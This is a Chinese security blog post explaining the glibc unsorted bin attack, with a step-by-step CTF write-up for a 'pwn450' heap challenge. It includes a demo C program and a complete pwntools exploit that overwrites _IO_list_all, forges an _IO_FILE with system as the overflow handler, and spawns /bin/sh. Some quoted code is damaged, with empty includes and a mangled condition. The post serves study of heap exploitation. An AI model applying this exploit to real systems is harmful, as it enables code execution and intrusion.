首页 > 安全 > 网络安全 >

网络安全之unsorted bin attack分析

2016-12-17

本文主要是unsorted bin attack分析,旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负。

本文主要是unsorted bin attack分析,旨在服务社会,供安全研究人员学习使用,请勿用于其他非法用途,违者后果自负。

一、前言

这是之前那篇文章溢出利用FILE结构体的后续篇,前面提过是针对上海网络安全大赛的pwn450的技术写的文章,总共两个技术,一个是溢出利用FILE结构体,一个就是unsorted bin attack,这一篇文章主要就要先介绍unsorted bin attack技术的原理,然后再把这个东华杯的pwn450我写的exp的过程一步一步介绍。会尽可能的详细,所以会显得比较繁琐,大牛们可以跳过。

要知道堆溢出的原理,首先需要掌握堆的结构,比如chunk的结构,main_arena的结构等;还有Glibc在malloc和free时所作的事情,这一个管理过程比较多比较复杂,而且我也没学太明白,所以我就不专门介绍了,怕误导大家,也容易导致篇幅会很长,大家可以自己去找各种资料看,我也会给出几个链接。后面和unsorted bin attack 相关的分配以及释放过程在用到的时候再进行介绍,我这里的系统是64位的linux,所有的地址都是8位,相关的大家自己进行转换。

二、unsorted bin attacck原理

堆在分配的时候,如果在申请的内存大小所对应的small bin或者large bin里面没有找到对应的chunk,此时会从unsorted bin里面去寻找chunk看是否存在合适的内存分配给用户,这个过程中会把unsorted bin链表给清空,清空的过程中没有进行检查,由此可能会发生任意地址可写。源代码如下:

/* remove from unsorted list */

unsorted_chunks (av)->bk = bck;

bck->fd = unsorted_chunks (av);

试想如果bck的fd可以被我们控制,这个时候我们就可以让它指向任意地址,最终使*bck->fd)+0x10的值被修改成unsorted_chunks(av),从而实现任意地址写,后续如果能够控制它指向到我们可控的内存区域,最终就有可能会控制整个程序。

下面这个源代码是我在学这个技巧的时候google到的代码,是shellfish团队的unsorted_bin_attack.c源代码可以帮大家进一步理解,贴出来:

#include

#include

int main(){

printf("This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");

printf("In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "

"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;

printf("Let's first look at the target we want to rewrite on stack:\n");

printf("%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(400);

printf("Now, we allocate first normal chunk on the heap at: %p\n",p);

printf("And allocate another normal chunk in order to avoid consolidating the top chunk with"

"the first one during the free()\n\n");

malloc(500);

free(p);

printf("We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "

"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);

printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

printf("And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(400);

printf("Let's malloc again to get the chunk we just free. During this time, target should has already been "

"rewrite:\n");

printf("%p: %p\n", &stack_var, (void*)stack_var);

}

它的注释已经写的很清楚了,我就不再解释了。

三、东华杯的pwn450

这道题主要是利用 unsorted bin attack 来覆写_IO_list_all 指针,伪造_IO_FILE对象,达到劫持控制流的目的。下面一步一步介绍。先介绍程序的功能

\

经典的CTF堆利用的模式,申请、显示、编辑以及删除堆块。功能的详细介绍:

1、申请堆块:

申请最小为512大小的堆,指针保存在全局变量当中,并且将malloc的地址打印出来(这样做的目的其实是出题人减小题目的难度)

\

2、显示堆块内容:

空操作,什么也不干。

3、编辑堆块:

输入数据,这个地方存在溢出,因位没有对输入大小进行控制,只通过判断是否存在'\n'来判断结束。

\

vuln_func(这也算一个比较经典的代码段吧)如下:

\

4、删掉:

简单的调用free函数,同时将全局的ptr指针置0。

刚开始一看,以为是House of Force,覆盖top chunk的size,然后控制top chunk到got表去,可是发现程序中只允许存在一个note,所以没有办法。只能换个思路。另一个思路就是利用 unsorted bin attack 来覆写_IO_list_all 指针,伪造_IO_FILE对象,最终控制整个程序。主要是参考 hitcon 2016 的 house of orange 和大佬们写的pwn450的wp。

四、利用过程

1、泄露libc基址

首先说明如何泄露libc的基址,当申请的内存大于某个阈值时,系统会调用mmap直接为应用程序分配页面,此时分配出来的的页面会紧贴着libc页面,所以我们可以通过分配一个大内存,最后得到地址加上大小最终就得到了libc的基址。题目又给了so,所以可以得到system以及_IO_list_all以及main_arena等结构的真实地址。

malloc大内存(0x2000000)前:

\

malloc大内存后:

\

可以看到0x00007f4b19898000+0x0x2001000就到了libc的基址,多0x1000是因为对齐。

2、获取unsorted bin chunk

程序中只允许存在一个note,正常来说将通过top chunk分配,在释放后也将与top chunk合并,不会出现unsorted chunk,如何得到unsorted chunk,这个需要通过触发 sysmalloc 中的_int_free 来实现。当申请的堆块大于当前的top chunk size且小于用mmap分配的阈值时,系统会将原来的top chunk 放到unsorted bin中,同时分配新的较大的top chunk出来。

如果大于mmap分配的阈值,则直接从系统分配,源码如下:

\

所以为得到unsorted chunk ,申请分配的内存需要大于top chunk的size且小于mmap的阈值。

释放后将旧的top chunk放入到unsorted bin中的的代码如下:

\

不过在此之前,为了能让程序执行到这里,还需要通过一个检查:

\

这个检查总结起来为:

1. size需要大于0x20(MINSIZE)

2. prev_inuse位要为1

3. top chunk address + top chunk size 必须是页对齐的(页大小一般为0x1000)

所以在这一步中我们需要做的就是覆盖原来的top chunk size,然后再申请一个比较大的堆块,这样就可获得一个unsorted chunk。

3、构造更多的unsorted chunk

如果只有一个unsorted chunk,是无法实现 attack的,所以需要构造更多的unsorted chunk,这一点可以通过覆盖刚刚加入到unsorted bin里面的chunk的后一个chunk的prev inuse位,这样在从这个unsorted chunk中申请出一个小的chunk后再释放掉的时候,就不会发生合并,即可实现构造更多的unsorted chunk。

4、覆盖IO_list_all并伪造 IO_FILE结构体

有了多的unsorted chunk后,覆盖某个堆块的bk字段,使它指向IO_list_all-0x10字段,这样IO_list_all会被修改成指向main_arena的unsorted bin数组,原理图如下:

\

同时当 glibc 检测到 memory corruption 时,它会flush 所有的 IO 流,调用_IO_flush_all_lockp 函数:

\

所以我们在覆盖了IO_list_all后,使其指向了main_arena的unsorted bin数组,这时的数组位置并不是我们可控的位置,想让它指向我们可控的内存区域,还需查看_IO_flush_all_lockp的源码:

int

_IO_flush_all_lockp (int do_lock)

{

int result = 0;

struct _IO_FILE *fp;

int last_stamp;

#ifdef _IO_MTSAFE_IO

__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);

if (do_lock)

_IO_lock_lock (list_all_lock);

#endif

last_stamp = _IO_list_all_stamp;

fp = (_IO_FILE *) _IO_list_all; // A: 最开始被覆盖为main_arena的sunsorted bin数组的位置

while (fp != NULL)

{

run_fp = fp;

if (do_lock)

_IO_flockfile (fp);

if (((fp->_mode _IO_write_ptr > fp->_IO_write_base) // C 限制条件

#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T

|| (_IO_vtable_offset (fp) == 0

&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr

> fp->_wide_data->_IO_write_base))

#endif

)

&& _IO_OVERFLOW (fp, EOF) == EOF) //D 伪造的FILE结构体,执行system函数

result = EOF;

if (do_lock)

_IO_funlockfile (fp);

run_fp = NULL;

if (last_stamp != _IO_list_all_stamp)

{

/* Something was added to the list. Start all over again. */

fp = (_IO_FILE *) _IO_list_all;

last_stamp = _IO_list_all_stamp;

}

else

fp = fp->_chain; // B: 这里指向了我们可控的区域,偏移为0x68

}

从源代码中我们知道__IO_list_all最开始为main_arena的unsorted bin数组(代码A),不可控,如果我们构造适当的chunk使其在free后存放到了main_arena的unsorted bin数组偏移的0x68处,这样就可以实现fp指向我们可控的数据(代码B),然后绕过限制条件(代码C),在构造好的IO_FILE里面的vtable(不懂的需要看前面的那篇溢出利用FILE结构体),执行_IO_OVERFLOW(实为system函数地址)函数,fp最开始的数据我们存放“/bin/sh”,所以最终执行system("/bin/sh"),得到shell(代码D)。

五、exp

from pwn import *

from ctypes import *

DEBUG = 1

if DEBUG:

p = process('./note')

else:

#p = remote('106.75.84.74', 10001)

def add_note(size):

p.recvuntil('option--->>')

p.send('1\n')

p.recvuntil('the size:')

p.send(str(size)+'\n')

data=p.recvuntil('\n')

try:

ptr=int(data[:-1],16)

except:

print data

return

return ptr

def delete_note():

p.recvuntil('option--->>')

p.send('4\n')

def edit_note(data):

if "\n" in data:

print "yes"

p.recvuntil('option--->>')

p.send('3\n')

p.recvuntil('content:')

p.send(data+'\n')

#call free func addr 0x4009AA

def pwn():

gdb.attach(p,"b *0x400946")

mmap=add_note(0x2000000)-0x10

libc=mmap+0x2001000 #gain the libc address

system_addr=libc+0x414f0

io_list=libc+0x3a4040

main_arena=libc+0x3A3620+88

log.success("libc = " + hex(libc))

log.success("system address = " + hex(system_addr))

log.success("IO_LIST address = " + hex(io_list))

log.success("main_arena address = " + hex(main_arena - 88))

delete_note()

heap=add_note(512)-0x10

print hex(heap)

data='a'*0x200+p64(0)+p64(0xdf1)+"\x00"*0x18+p64(0x21)

edit_note(data) #make the top chunk size from 0x3000 to 0x1000

delete_note()

add_note(0x1000) #then the top chunk will be freed, it will be puted to unsorted bin chunk

delete_note()

add_note(512)

data="a"*0x200+p64(0)+p64(0xdd1)+p64(main_arena)+p64(main_arena)+'\x00'*0xdb0+p64(0)+p64(0x11)

edit_note(data)

delete_note()#here, the chunk of 512 bytes will not consolidate with the 0xdd0 chunk, because the prev inuse bit has been set, 0x11

add_note(528) #this malloc will spilt the 0xdd0 chunk into two chunks, and system may put 512 chunk to the small bin chunk.

delete_note()# right now ,unsorted bin chunk has two chunk,one is 528,the other one is 0xdd0-528, and small bin chunk has one chunk ,which is 512

add_note(512)

data="a"*0x200+p64(0x210)+p64(0x221)+p64(heap+0x430)+p64(main_arena)+'\x00'*(0x220-0x20)

fake_chunk_and_fake_io_list="/bin/sh\x00" + p64(0x61)+p64(0)+p64(io_list-0x10)#former 32bits is fake chunk

fake_chunk_and_fake_io_list+=p64(0) #write_base

fake_chunk_and_fake_io_list+=p64(1) #write_ptr satisfy fp->_IO_write_ptr > fp->_IO_write_base

fake_chunk_and_fake_io_list=fake_chunk_and_fake_io_list.ljust(0xc0,'\x00')

fake_chunk_and_fake_io_list+=p64(0xffffffffffffffff) #here set fp->mode=-1 to bypass the check

fake_chunk_and_fake_io_list=fake_chunk_and_fake_io_list.ljust(0xd8,'\x00')

vtable=heap+0x10+0x200+0x220+len(fake_chunk_and_fake_io_list)+8

fake_chunk_and_fake_io_list+=p64(vtable)

fake_chunk_and_fake_io_list+=p64(0) #dummy 0

fake_chunk_and_fake_io_list+=p64(0) #dummy 1

fake_chunk_and_fake_io_list+=p64(1)#finish addr

fake_chunk_and_fake_io_list+=p64(system_addr) #IO_OVERFLOW

data+=fake_chunk_and_fake_io_list

edit_note(data)

delete_note()

sleep(0.5)

add_note(0xb00)

p.interactive()

if __name__ == '__main__':

pwn()

最后再多贴一个代码,我数学不太好,看源代码不容易直接把main_arena里面各个字段的距离算出来,所以就写了个小程序,也一起贴出来吧。

#include

#include

int main()

{

FILE *fp;

fp=stderr;

int chain=&(fp->_chain);

int flags=&(fp->_flags);

int dis=chain-flags;

printf("FILE struct size: 0x%x\n",sizeof(FILE));

printf("fp->chain - fp: 0x%x %x\n",dis);

int mode=&(fp->_mode);

dis=mode-flags;

printf("fp->mode - fp: 0x%x\n",dis);

int write_ptr=&(fp->_IO_write_ptr);

dis=write_ptr-flags;

printf("fp->write_ptr - fp: 0x%x\n",dis);

int write_base=&(fp->_IO_write_base);

dis=write_base-flags;

printf("fp->write_base - fp: 0x%x\n",dis);

int vtable_offset=&(fp->_vtable_offset);

dis=vtable_offset-flags;

printf("fp->vtable_offset - fp: 0x%x\n",dis);

int read_ptr=&(fp->_IO_read_ptr);

dis=read_ptr-flags;

printf("fp->read_ptr - fp: 0x%x\n",dis);

return 0;

}

六、小结

本来还想把动态跟踪的图给贴出来的,结果写了一半觉得好像有点累赘,所以又全删掉了,大家自己跟,然后看步骤,应该能看懂吧,看不懂也只能说明我的表达水平有限了,exp里面的注释由于懒得再kali里面又中文输入法,所以就用了蹩脚的英语,大家也将就下,意思应该差不多。

下一步还是想多学点堆的姿势,下一步打算做hctf的第一个pwn好像是double free的,打算学习学习。

相关文章
最新文章
热点推荐